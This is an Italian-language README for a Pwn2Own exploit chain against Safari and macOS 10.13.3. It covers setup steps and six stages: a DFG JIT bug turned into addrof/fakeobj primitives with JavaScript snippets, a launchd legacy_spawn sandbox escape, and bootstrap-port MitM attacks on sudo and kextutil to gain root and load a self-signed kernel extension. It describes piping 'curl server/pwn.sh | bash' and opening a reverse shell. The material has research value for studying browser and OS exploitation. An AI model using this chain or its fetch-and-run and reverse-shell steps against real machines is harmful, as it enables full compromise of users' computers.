
A Pwn2Own exploit chain
RCE su Safari, sandbox escape e LPE fino al kernel per macOS 10.13.3.
Installa nasm e tornado:
brew install nasm
pip3 install tornado
Controlla config.py se vuoi cambiare l'host o le porte. Successivamente avvia il
server con ./server.py e naviga all'URL mostrato.
Questa catena di exploit utilizza tre bug diversi per passare dal codice JavaScript in esecuzione all'interno di Safari all'esecuzione di codice in modalità kernel:
La catena di exploit è implementata in sei fasi, ciascuna situata nella propria sottodirectory:
Ogni sottodirectory (ad eccezione di libspc/) contiene un file chiamato make.py che, quando eseguito, esegue qualsiasi tipo di comando di build necessario e crea un elenco di file da servire tramite il webserver.
Obiettivo: ottenere l'esecuzione di shellcode all'interno del processo WebContent in sandbox
Bug sfruttato: ottimizzazione errata nel compilatore JIT DFG
Vedi anche questa presentazione BlackHat
Il compilatore JIT DFG rappresenta il codice JavaScript nella propria rappresentazione
intermedia (IR), il Data Flow Graph (DFG). Tipicamente, un'espressione JavaScript
viene tradotta in una o più istruzioni IR in questo grafo. Nel
caso di una funzione costruttore, l'istruzione CreateThis viene emessa ed è
responsabile dell'allocazione dell'oggetto this costruito dalla
funzione. Ad esempio, la funzione function Consructor() {}, quando chiamata
con new, verrebbe tradotta approssimativamente in
v0 = CreateThis
return v0
Osservando l'AbstractInterpreter, possiamo vedere che il compilatore JIT DFG
presuppone che l'operazione CreateThis non comporti effetti collaterali
oltre a un'allocazione di heap. Infatti, questo codice:
function Constructor(obj) {
return obj.x;
}
verrà tradotto approssimativamente nelle seguenti istruzioni DFG:
(Qui, la StructureCheck è stata spostata all'inizio della funzione dalla
TypeCheckHoistingPhase).
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
Tuttavia, questa ipotesi non è valida, poiché il codice slow-path per CreateThis può
eseguire codice JavaScript arbitrario in alcuni casi. In particolare, utilizzando
una Proxy attorno alla funzione reale, la trap get per la proprietà
"prototype" verrà chiamata durante il gestore slow-path per CreateThis, poiché deve
recuperare l'oggetto prototype per l'oggetto costruito:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
In questo modo, ora è possibile modificare la Structure di un oggetto senza che il compilatore JIT esegua un bailout.
Questo bug può essere utilizzato per costruire le primitive addrof e fakeobj come segue:
Compiliamo il codice per il caso di una JSArray con elementi double unboxed,
poi, nella callback, passiamo a elementi JSValue. Successivamente, il codice JIT
caricherà una JSValue dall'array, ma tratterà quei bit come un double e li restituirà
a noi. Il seguente codice assegnerà l'indirizzo di leakme alla
proprietà "address" dell'oggetto costruito.
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
Qui essenzialmente facciamo il contrario: ottimizziamo il codice per memorizzare un
double in un array con elementi double unboxed, poi passiamo nuovamente a
elementi JSValue nella callback. Il codice continuerà a scrivere il nostro
double controllato in forma unboxed nello storage di supporto. Quando successivamente
accediamo a quell'elemento dell'array, tratterà quei bit come una JSValue invece di un double.
Il seguente codice scriverà il double unboxed address nel buffer di supporto
di a, che possiamo poi leggere come JSValue, consentendoci di "iniettare"
JSValue di nostra scelta nel motore.
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
In questo modo otteniamo la capacità di scrivere un double e trattarlo come puntatore a JSObject e viceversa. Questo può essere sfruttato come descritto in attacking javascript engines.
L'exploit ottiene prima la lettura/scrittura arbitraria della memoria di processo falsificando una Float64Array, poi cerca la regione JIT (mappata RWX) e scrive lì la shellcode della fase 1.
Obiettivo: avviare la fase 2 scrivendo una .dylib su disco e caricandola tramite dlopen()
Una breve payload in assembly che essenzialmente fa quanto segue:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) per ottenere un percorso verso una directory scrivibiledlopen()Obiettivo: uscire dalla sandbox
Bug sfruttato: controlli sandbox mancanti nell'API "legacy_spawn" di launchd
Vedi anche questa presentazione
Launchd espone l'endpoint RPC "legacy_spawn" come routine 817 nel sottosistema 3.
Questa API non valida se al chiamante dovrebbe essere consentito di generare
processi e semplicemente esegue execve di qualsiasi binario sul sistema per
conto del chiamante con argomenti controllati. Poiché launchd è raggiungibile tramite
la bootstrap port, ciò rende possibile uscire dalla sandbox.
L'exploit essenzialmente esegue curl server/pwn.sh | bash e quindi passa il
controllo alla fase 3.
Obiettivo: aprire la calcolatrice e avviare le fasi rimanenti
Questo esegue open /Applications/Calculator.app e stabilisce una reverse shell,
poi recupera tutti i file necessari per le fasi rimanenti ed esegue gli
exploit.
Obiettivo: ottenere root tramite un exploit LPE
Bug sfruttato: MitM sulla bootstrap port di XNU
Vedi anche questa presentazione POC
In XNU, l'API task_set_special_port consente ai chiamanti di sovrascrivere la
propria bootstrap port, utilizzata per comunicare con launchd. Questa porta viene
ereditata attraverso le fork: i processi figli utilizzeranno la stessa bootstrap port del
genitore. Sorge ora un problema di sicurezza se il processo figlio è più privilegiato
del genitore, come nel caso ad esempio di sudo (un binario setuid) o
kextutil (che possiede l'entitlement "com.apple.rootless.kext-management").
Sovrascrivendo la bootstrap port ed eseguendo una fork di un processo figlio, possiamo ora
ottenere una posizione MitM tra il nostro figlio e launchd (che il nostro figlio
si aspetta di raggiungere quando invia messaggi alla bootstrap port). Il processo figlio
chiederà a launchd di risolvere vari servizi mach e XPC. Risolvendo
questi servizi verso altre porte controllate da noi, possiamo anche ottenere una posizione
MitM con servizi di sistema arbitrari utilizzati dal nostro processo figlio. Lo sfruttamento
dipende quindi da come quei servizi vengono utilizzati dal programma attaccato.
Per ottenere root prendiamo di mira il binario sudo e intercettiamo la sua comunicazione con
opendirectoryd, che viene utilizzato da sudo per verificare le credenziali. Modifichiamo
le risposte da opendirectoryd per far sembrare che la nostra password fosse valida.
Sembra che ci sia stato un tentativo di correggere questo problema, poiché libxpc (che
esegue la comunicazione con launchd) verifica che le risposte provengano
effettivamente da un processo con uid=0 e pid=1 (== launchd). Tuttavia, questi
controlli sono insufficienti. Possiamo aggirarli come segue per risolvere opendirectoryd verso
la nostra porta:
net.saelo.hax) con launchd utilizzando
l'API bootstrap_register2com.apple.system.opendirectoryd.api con net.saelo.haxTutto ciò che rimane ora (per un'elevazione di privilegi a root) è inoltrare i messaggi tra opendirectoryd e sudo, ma sostituire la risposta di errore di autenticazione con una risposta di successo.
Obiettivo: caricare un'estensione del kernel (auto-firmata)
Bug sfruttato: MitM sulla bootstrap port di XNU
Questo sfrutta la stessa falla della fase 4, ma questa volta prendendo di mira
kextutil. Intercettiamo la connessione a com.apple.trustd e falsifichiamo la catena di
certificati, facendo credere a kextutil che il nostro kext auto-firmato sia in realtà firmato
direttamente da Apple.
kextutil procede approssimativamente come segue quando gli viene chiesto di caricare un .kext dal disco:
trustd per ottenere la catena di certificati e stabilire
se il certificato root è attendibilesyspolicyd.
Tuttavia, se syspolicyd non è raggiungibile, kextutil procede semplicementeCiò consente il seguente attacco per caricare estensioni del kernel auto-firmate:
com.apple.trustd verso il nostro serviziotrustd e rispondere con una catena di certificati hardcoded
di un .kext Apple ufficialesyspolicyd (ad es. sostituendo
com.apple.security.syspolicy.kext con net.saelo.lolno nelle richieste di lookup
del servizio a launchd)kextutil caricherà ora la nostra estensione del kernel nel kernel.